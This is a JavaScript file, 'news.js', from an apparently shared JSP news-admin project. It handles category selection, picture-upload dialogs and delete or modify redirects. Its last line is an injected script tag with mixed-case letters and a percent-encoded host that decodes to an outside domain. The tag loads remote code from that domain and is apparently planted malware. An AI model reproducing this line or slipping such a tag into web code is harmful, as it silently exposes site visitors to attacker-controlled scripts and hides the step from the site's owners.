news.js
上传用户:sdtxjx
上传日期:2022-07-09
资源大小:2937k
文件大小:3k
源码类别:

Jsp/Servlet

开发平台:

Java

  1. var sFromUrl = "http://";
  2. /*****************************************************  
  3.  *  函数名:ChangeLocation()
  4.  *  作  用:响应选择大类的事件
  5.  * 参  数:选择大类的值
  6.  *****************************************************
  7. */
  8. function ChangeLocation(locationid)
  9. {
  10. document.AddNews.SClassID.length = 1; 
  11. var locationid=locationid;
  12. var i;
  13. for (i=0;i < iCount; i++)
  14. {
  15. if (subcat[i][2] == locationid)
  16. document.AddNews.SClassID.options[document.AddNews.SClassID.length] = new Option(subcat[i][1], subcat[i][0]);
  17. }        
  18. }
  19. // 初始值
  20. function InitDocument(){
  21. d_fromurl.value = sFromUrl;
  22. RadioClick('file');
  23. }
  24. // 图片来源单选点击事件
  25. function RadioClick(what){
  26. if (what=="url"){
  27. d_checkfromfile.checked=false;
  28. d_fromurl.disabled=false;
  29. d_checkfromurl.checked=true;
  30. d_file.myform.uploadfile.disabled=true;
  31. }else{
  32. d_checkfromurl.checked=false;
  33. d_file.myform.uploadfile.disabled=false;
  34. d_checkfromfile.checked=true;
  35. d_fromurl.disabled=true;
  36. }
  37. }
  38. // 上传错误
  39. function UploadError(sErrDesc){
  40. AbleItems();
  41. RadioClick('file');
  42. divProcessing.style.display="none";
  43. try {
  44. BaseAlert(d_file.myform.uploadfile,sErrDesc);
  45. }
  46. catch(e){}
  47. }
  48. // 文件上传完成时执行,带入上传文件名
  49. function UploadSaved(sFileName){
  50. d_fromurl.value=GetHttpUrl("UploadFile/"+sFileName);
  51. ReturnValue();
  52. }
  53. // 本窗口返回值
  54. function ReturnValue(){
  55. sFromUrl = d_fromurl.value;
  56. window.returnValue = sFromUrl;
  57. window.close();
  58. }
  59. // 点确定时执行
  60. function ok(){
  61. // 上传文件判断
  62. if (d_checkfromurl.checked){
  63. // 返回值
  64. ReturnValue();
  65. }
  66. else
  67. {
  68. if (!d_file.CheckUploadForm()) return false;
  69. // 使各输入框无效
  70. DisableItems();
  71. // 显示正在上传图片
  72. divProcessing.style.display="";
  73. // 上传表单提交
  74. d_file.myform.submit();
  75. }
  76. }
  77. // 使所有输入框无效
  78. function DisableItems(){
  79. d_checkfromfile.disabled=true;
  80. d_checkfromurl.disabled=true;
  81. d_fromurl.disabled=true;
  82. Ok.disabled=true;
  83. }
  84. // 使所有输入框有效
  85. function AbleItems(){
  86. d_checkfromfile.disabled=false;
  87. d_checkfromurl.disabled=false;
  88. d_fromurl.disabled=false;
  89. Ok.disabled=false;
  90. }
  91. // 显示无模式对话框
  92. function ShowDialog(url, width, height) {
  93. var arr = window.showModalDialog(url,window,"dialogWidth:" + width + "px;dialogHeight:" + height + "px;help:no;scroll:no;status:no");
  94. return arr;
  95. }
  96. // 是否显示上传图片表单
  97. function ShowPicture(bYes) {
  98. if(bYes)
  99. {
  100. p.style.display="";
  101. }
  102. else p.style.display="none";
  103. }
  104. //添加新闻中上传图片事件
  105. function getPicture()
  106. {
  107. var sPicture = ShowDialog('Img.htm',350,140)
  108. if(sPicture!=null)
  109. {
  110. document.AddNews.NewsPicture.value = sPicture;
  111. }
  112. }
  113. // 是否显示上传头条图片表单
  114. function ShowHeadPicture(bYes) {
  115. if(bYes)
  116. {
  117. p1.style.display="";
  118. }
  119. else p1.style.display="none";
  120. }
  121. //添加新闻中上传头条新闻图片事件
  122. function getHeadPicture()
  123. {
  124. var sPicture = ShowDialog('Img.htm',350,140)
  125. if(sPicture!=null)
  126. {
  127. document.AddNews.HeadPicture.value = sPicture;
  128. }
  129. }
  130. //添加新闻中上传头条新闻图片事件
  131. function fastNews(b)
  132. {
  133. var NewsID = document.ListNews.NewsID.value;
  134. if(b) location.href="DelNews.jsp?NewsID="+NewsID;
  135. else location.href="ModifyNews.jsp?NewsID="+NewsID;
  136. }
  137. <ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>